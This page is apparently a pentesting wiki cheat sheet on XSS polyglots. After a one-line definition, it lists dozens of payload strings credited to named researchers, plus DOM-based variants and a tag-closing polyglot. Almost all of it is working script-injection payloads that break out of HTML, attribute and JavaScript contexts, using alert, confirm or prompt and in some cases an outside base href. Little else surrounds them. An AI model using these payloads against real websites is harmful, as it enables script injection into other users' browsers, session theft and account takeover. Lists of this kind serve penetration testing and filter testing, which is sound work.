👑Polyglot XSS

What is an XSS polyglot?

An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.

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Polyglot XSS

Polyglot XSS - Muhammad Asad

'"></a></script></title></form></span></meta></style></iframe></noscript></textarea></xmp></pre><ScRiPt>alert(/HAMZA-SAKHI/)</sCrIpT>

Polyglot XSS - 0xsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Polyglot XSS - Ashar Javed

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

Other XSS Polyglots

"'--></noscript></noembed></template></title></textarea></style><script>alert()</script>

JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//google.com\76-->

'"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>

"'>-->*/</noscript></ti tle><script>alert()</script>

"'--></style></script><svg oNload=alert()>

" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

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DOM XSS Polyglots

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
"jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onMouSeoVer=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(100)//>\x3e "
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
jaVasCript:/--><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1337)//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> 
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` 
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script> 
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>`
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>` 
javascript:/*`//'//\"//</style></noscript></script>--></textarea></noembed></template></title><script>/<frame <svg"///*/ onload=alert()//</script> 
javascript:/*"//'//`//\"//--></script></title></style></textarea></template></noembed></noscript><script>//<frame/<svg/*/onload= alert()//</script> 
javascript:/*-->'//"//`//\"//</title></textarea></style></noscript></script></noembed></template><script>/*<frame/<svg */ onload=alert()//</script> 
javascript:/*"/*'/*`/*\"/*</script/</title/</textarea/</style/</noscript></template></noembed>--><script>/*<svg <frame */ onload=alert()//</script> 
javascript:/*"/*'/*\"/*`/*--></title></noembed></template></textarea></noscript></style></script><script>//<frame <svg */ onload=alert()//</script> 
javascript:/*"/*`/*'/*\"/*--></title></script></textarea></noscript></style></noembed></template><script> /*<svg <frame onload=/**/alert()//</script>
javascript:"/*'//`//\"//</title></template/</textarea/</style/</noscript/</noembed/</script>--><<script>alert()<</script><frame/*/ onload=alert()//>
javascript:alert()"//</title></textarea></style></noscript></noembed></template></script>\"//'//`//--><script>//<svg <frame */onload= alert()//</script>
javascript:/*"/*`/*'/*\"/*</script></style></template></select></title></textarea></noscript></noembed><frame/onload=alert()--><<svg/*/ onload=alert()//>
javascript:"/*`/*\"/*' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert()//--><<sVg/onload=alert``> 
javascript:/*--></script></textarea></style></noscript>\"</noembed>[`</template>["</select>['</title>]<<script>///<frame */ onload=alert()//<</script>
javascript:"/*\"/*'/*`/*--></noembed></template></noscript></title></textarea></style></script></select><frame/onload=alert()><<svg/onload= /**/alert()//>
javascript:/*"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script><<script> /**/alert()//<</script><frame onload=alert()>
javascript:"/*\"/*'/*--></title></textarea></style></noscript></template></noembed></script><<script>/*` /*<frame src=javascript:/**/alert()//><</script>
javascript:"/*'/*\"/*` /**/alert()//--></title></textarea></style></noscript></noembed></template></script><script>alert()</script><svg/<frame/onload=alert()>
javascript:/*"/*`/*'/*\"/*-->*/ alert()//</title></textarea></style></noscript></noembed></template></script></select><frame/onload=alert``><<svg/onload=alert()>
javascript:`/*</title></style></textarea></noscript></script></noembed></template></select/"/'/*--><frame onload=alert()><svg/\"/*<svg onload=' /**/-alert()//'>javascript:/*`/*\"/*'/*</noembed>"/*<frame src=javascript:/**/;alert()//--></title></textarea></style></noscript></template></select></script><<svg/onload= alert()//>
javascript:alert()//"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script>*/ alert()//<frame onload=alert()><<script>alert()<</script>
javascript:alert()//'//"//\"//-->`//*/ alert();//</title></textarea></style></noscript></noembed></template><frame onload=alert()></select></script><<svg onload=alert()>
javascript:/*"/*\"/*`/*'/**/ (alert())//</title></textarea></style></noscript></script></noembed></template></select><frame src=javascript:alert()--><<svg/onload=alert()>
javascript:/*"/*'/*\"/*`/*><frame src=javascript:alert()></template </textarea </title </style </noscript </noembed </script --><<script>alert()<</script>\ /**/alert()//
javascript:/*`/*'/*'/*"-/*\"/**/ alert()//></title></textarea></style></select></script></noembed></noscript></template>--><<svg/onload=alert()><frame/src=javascript:alert()>
javascript:'/*`/*'/*"/*\"/*<FRAME SRC= javascript:/**/-alert()//--></title></textarea></style></noscript></noembed></template></script><script>//<svg onload= alert()//</script>
javascript:alert()//--></title></style></noscript></noembed></template></select></textarea><frameset onload=alert()></script>*///\"//`//'//"//><svg <svg onload=alert()> alert()//
javascript:alert()//'//"//\"; '/`/*\/*'/*"/**/(alert())//</style></template/</title/</textarea/</noscript/</noembed/</script>--><frame <svg onload=alert()><script>alert()</script>
javascript:/*"/*'/*`/*\"/**/ alert()//*</title></textarea></style></noscript></noembed></template></option></select></SCRIPT>--><<svg onload=alert()><frame src=javascript:alert()>
javascript:alert()//\"//`//'//"//--></style></select></noscript></noembed></template></title></textarea></script><iframe/srcdoc="<svg/onload=alert()>"><frame/onload=alert()>*/ alert()//
javascript:alert()//*-->*`/*'/*"/*\"/*</title></textarea></style></noscript></noembed></template><frame src=javascript:alert()></script><script>/*<svg onload=alert()>*/ alert()//</script>
jaVasCript:/*`/*\`/*'/*\"//"/**/(onload=alert())//<svg/onload=alert()><frame/onload=alert()></select></noscript></noembed></template></stYle/</titLe/</teXtarEa/</script/--><sVg/oNloAd= alert()//>
javascript:alert()//'//"//`//></a></option></select></template></noscript></script></title></style></textarea></noembed>--><<svg onload=alert()>\">alert()//*/ alert()//<frame src=javascript:alert()>
javascript:alert()//\ /*<svg/onload=';alert();'></textarea></style></title></noscript></template></noembed><frame onload=";alert();"></script>--><script>alert`;alert();`</script>*/alert()//\";alert()//
javascript:alert/*`/*\/*'/*\"/*"/**/(alert())// alert()//--></template><frame/onload=alert() <img src=x onerror=alert()></style/</title/</textarea/</noscript/</noembed/</script><script>alert()</script>
javascript:alert();//</title></noscript></noembed></template></style></textarea><frameset onload='+/"/+/[*/[]/+alert()//'-->\" alert();/*`/**/(/**/alert())//<script>alert()</script><<svg onload=alert()>>
javascript:alert()//*/alert()/*'-/"/-eval(`(alert())`)//\"-alert()//--></title></style></noscript></textarea></template></noembed><script>alert()</script><frameset onload=alert()><svg/onload=alert(1)> alert()//
javascript:alert()//\";alert();/*-/*`/*\`/*'/*"/**///--><FRAME SRC="javascript:alert();"></textarea></style></noscript></noembed></template></option></select></script></title><svg/onload=alert()><svg/onload=alert()> alert(1)// 
javascript:alert()//<frame/src=javascript:alert()><svg/onload=alert()>`;alert()`';alert()//\";alert();//"//--></title></textarea></style></noscript></noembed></template></option></select></script><svg onload=alert()>*/ alert()//* 
javascript:alert()//</title></style></textarea></noscript></template></noembed><script>alert()</script>-->\";alert()//";alert()//';alert()//<script>alert()</script><frame src="javascript:alert()">` alert()//<svg/onload=alert()>*/alert()/* 
javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!-- 
javascript:/*--></title></style></template></noscript></noembed></textarea></script><svg/onload='+/"/+/onclick=1/+/[*/[]/+alert()//'>"><svg/onload=`+/"/+/onclick=/+/[*/[]/+alert()//'>"><script>alert()</script><frame src="javascript:alert()"></frameset>+\"; alert()//<img src onerror=alert()>
javascript:alert(1)//\";alert(1);<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//--><FRAME SRC="javascript:alert(1);"></textarea></style></iframe></noscript></noembed></template></option></select></script><img src=x onerror=alert(1)></title><script>alert(1)</script><img src=0 onerror=alert(1)><img src=x:x onerror=alert(1)> alert(1)// 
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//

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XSS Polyglot to close all of the HTML tags that need to be closed for XSS:

<!--
<title>
<textarea>
<noscript>
<xmp>
<template>
<noembed>

--></title><textarea></style></noscript></script></xmp></template></noembed><svg/onload=alert(document.domain)>

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-->'"></sCript><video src=">" onerror=setTimeout`confirm\x281\x29`>

Polyglot XSS - @s0md3v

-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>

<svg%0Ao%00nload=%09((pro\u006dpt))()//

Polyglot XSS - from Brutelogic

JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

PreviousList of possible JSONP endpoints with callback for websites NextSwagger-UI

Last updated 1 year ago

hashtagWhat is an XSS polyglot?

hashtag---------------------------------------------------------------

hashtagPolyglot XSS

hashtagPolyglot XSS - Muhammad Asad

hashtagPolyglot XSS - 0xsobky

hashtagPolyglot XSS - Ashar Javed

hashtagOther XSS Polyglots

hashtag---------------------------------------------------------------

hashtagDOM XSS Polyglots

hashtag---------------------------------------------------------------

hashtagXSS Polyglot to close all of the HTML tags that need to be closed for XSS:

hashtag---------------------------------------------------------------

hashtagPolyglot XSS - @s0md3varrow-up-right

hashtagPolyglot XSS - from Brutelogic

What is an XSS polyglot?

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Polyglot XSS

Polyglot XSS - Muhammad Asad

Polyglot XSS - 0xsobky

Polyglot XSS - Ashar Javed

Other XSS Polyglots

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DOM XSS Polyglots

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XSS Polyglot to close all of the HTML tags that need to be closed for XSS:

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Polyglot XSS - @s0md3v

Polyglot XSS - from Brutelogic